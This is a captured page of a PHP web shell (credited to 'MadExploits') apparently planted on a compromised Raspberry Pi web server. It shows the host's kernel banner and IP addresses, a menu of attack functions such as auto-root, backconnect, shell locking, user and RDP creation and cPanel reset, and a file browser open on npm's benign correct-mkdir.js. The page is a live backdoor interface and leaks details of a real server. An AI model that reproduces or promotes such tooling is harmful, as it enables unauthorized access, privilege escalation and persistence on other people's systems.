Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
completion
[ DIR ]
drwxr-xr-x
ansi-trim.js
211
B
-rw-r--r--
child-path.js
290
B
-rw-r--r--
completion.sh
1.73
KB
-rw-r--r--
correct-mkdir.js
3.04
KB
-rw-r--r--
deep-sort-object.js
363
B
-rw-r--r--
depr-check.js
451
B
-rw-r--r--
did-you-mean.js
495
B
-rw-r--r--
error-handler.js
6.15
KB
-rw-r--r--
error-message.js
11.54
KB
-rw-r--r--
escape-arg.js
673
B
-rw-r--r--
escape-exec-path.js
777
B
-rw-r--r--
gently-rm.js
484
B
-rw-r--r--
get-publish-config.js
919
B
-rw-r--r--
git.js
1.26
KB
-rw-r--r--
gunzip-maybe.js
552
B
-rw-r--r--
is-registry.js
295
B
-rw-r--r--
is-windows-bash.js
129
B
-rw-r--r--
is-windows-shell.js
153
B
-rw-r--r--
is-windows.js
59
B
-rw-r--r--
lifecycle-cmd.js
496
B
-rw-r--r--
lifecycle.js
364
B
-rw-r--r--
link.js
234
B
-rw-r--r--
locker.js
1.81
KB
-rw-r--r--
map-to-registry.js
2.79
KB
-rw-r--r--
metrics-launch.js
1.05
KB
-rw-r--r--
metrics.js
2.03
KB
-rw-r--r--
module-name.js
935
B
-rw-r--r--
move.js
290
B
-rw-r--r--
no-progress-while-running.js
541
B
-rw-r--r--
output.js
210
B
-rw-r--r--
package-id.js
399
B
-rw-r--r--
parse-json.js
663
B
-rw-r--r--
perf.js
562
B
-rw-r--r--
pick-manifest-from-registry-me...
905
B
-rw-r--r--
pulse-till-done.js
783
B
-rw-r--r--
read-local-package.js
329
B
-rw-r--r--
read-user-info.js
1.75
KB
-rw-r--r--
replace-info.js
552
B
-rw-r--r--
save-stack.js
349
B
-rw-r--r--
spawn.js
1.38
KB
-rw-r--r--
stringify-package.js
328
B
-rw-r--r--
temp-filename.js
173
B
-rw-r--r--
umask.js
343
B
-rw-r--r--
unix-format-path.js
85
B
-rw-r--r--
unsupported.js
2.21
KB
-rw-r--r--
usage.js
576
B
-rw-r--r--
warn-deprecated.js
556
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : correct-mkdir.js
var chownr = require('chownr') var dezalgo = require('dezalgo') var fs = require('graceful-fs') var inflight = require('inflight') var log = require('npmlog') var mkdirp = require('mkdirp') // memoize the directories created by this step var stats = {} var effectiveOwner module.exports = function correctMkdir (path, cb) { cb = dezalgo(cb) cb = inflight('correctMkdir:' + path, cb) if (!cb) { return log.verbose('correctMkdir', path, 'correctMkdir already in flight; waiting') } else { log.verbose('correctMkdir', path, 'correctMkdir not in flight; initializing') } if (stats[path]) return cb(null, stats[path]) fs.stat(path, function (er, st) { if (er) return makeDirectory(path, cb) if (!st.isDirectory()) { log.error('correctMkdir', 'invalid dir %s', path) return cb(er) } var ownerStats = calculateOwner() // there's always a chance the permissions could have been frobbed, so fix if (st.uid !== ownerStats.uid) { stats[path] = ownerStats setPermissions(path, ownerStats, cb) } else { stats[path] = st cb(null, stats[path]) } }) } function calculateOwner () { if (!effectiveOwner) { effectiveOwner = { uid: 0, gid: 0 } // Pretty much only on windows if (!process.getuid) { return effectiveOwner } effectiveOwner.uid = +process.getuid() effectiveOwner.gid = +process.getgid() if (effectiveOwner.uid === 0) { if (process.env.SUDO_UID) effectiveOwner.uid = +process.env.SUDO_UID if (process.env.SUDO_GID) effectiveOwner.gid = +process.env.SUDO_GID } } return effectiveOwner } function makeDirectory (path, cb) { cb = inflight('makeDirectory:' + path, cb) if (!cb) { return log.verbose('makeDirectory', path, 'creation already in flight; waiting') } else { log.verbose('makeDirectory', path, 'creation not in flight; initializing') } var owner = calculateOwner() if (!process.getuid) { return mkdirp(path, function (er) { log.verbose('makeCacheDir', 'UID & GID are irrelevant on', process.platform) stats[path] = owner return cb(er, stats[path]) }) } if (owner.uid !== 0 || !process.env.HOME) { log.silly( 'makeDirectory', path, 'uid:', owner.uid, 'gid:', owner.gid ) stats[path] = owner mkdirp(path, afterMkdir) } else { fs.stat(process.env.HOME, function (er, st) { if (er) { log.error('makeDirectory', 'homeless?') return cb(er) } log.silly( 'makeDirectory', path, 'uid:', st.uid, 'gid:', st.gid ) stats[path] = st mkdirp(path, afterMkdir) }) } function afterMkdir (er, made) { if (er || !stats[path] || isNaN(stats[path].uid) || isNaN(stats[path].gid)) { return cb(er, stats[path]) } if (!made) return cb(er, stats[path]) setPermissions(made, stats[path], cb) } } function setPermissions (path, st, cb) { chownr(path, st.uid, st.gid, function (er) { if (er && er.code === 'ENOENT') return cb(null, st) return cb(er, st) }) }
Close